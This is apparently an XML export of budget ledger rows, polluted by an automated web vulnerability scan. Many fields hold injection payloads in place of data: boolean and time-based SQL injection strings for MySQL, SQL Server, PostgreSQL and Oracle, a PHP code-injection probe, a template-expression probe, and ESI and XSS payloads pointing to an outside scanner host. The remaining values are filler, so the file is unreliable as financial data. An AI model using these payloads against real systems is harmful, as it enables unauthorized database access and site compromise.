<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>HttP://bxss.me/t/xss.html?%00</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>'.print(md5(31337)).'</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102&lt;esi:include src="http://bxss.me/rpb.png"/&gt;</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1'"</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>(select 198766*667891)</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1CMrZOZKi</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>-1 OR 5*5=25 -- </fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>-1 OR 5*5=26 -- </fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>-1 OR 5*5=25</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>-1 OR 5*5=26</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>-1' OR 5*5=25 -- </fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>-1' OR 5*5=26 -- </fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>-1" OR 5*5=25 -- </fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>-1" OR 5*5=26 -- </fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>-1' OR 5*5=25 or 'VGbRSXF8'='</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>-1' OR 5*5=26 or 'VGbRSXF8'='</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>-1" OR 5*5=25 or "WMBPTBa4"="</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>-1" OR 5*5=26 or "WMBPTBa4"="</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1*if(now()=sysdate(),sleep(15),0)</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1-1; waitfor delay '0:0:15' -- </fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1-1); waitfor delay '0:0:15' -- </fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>1gA8fk2q: j3OZQjXO</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1-1 waitfor delay '0:0:15' -- </fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1GPCDDi0I'; waitfor delay '0:0:15' -- </fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1-1 OR 35=(SELECT 35 FROM PG_SLEEP(15))--</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1-1) OR 416=(SELECT 416 FROM PG_SLEEP(15))--</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1-1)) OR 147=(SELECT 147 FROM PG_SLEEP(15))--</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1lkpyXD63' OR 899=(SELECT 899 FROM PG_SLEEP(15))--</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1nbIF7CCU') OR 894=(SELECT 894 FROM PG_SLEEP(15))--</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1k5o26kXD')) OR 476=(SELECT 476 FROM PG_SLEEP(15))--</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>5uhJ6qE4</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>${9999518+10000388}</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1'"</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1����%2527%2522\'\"</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
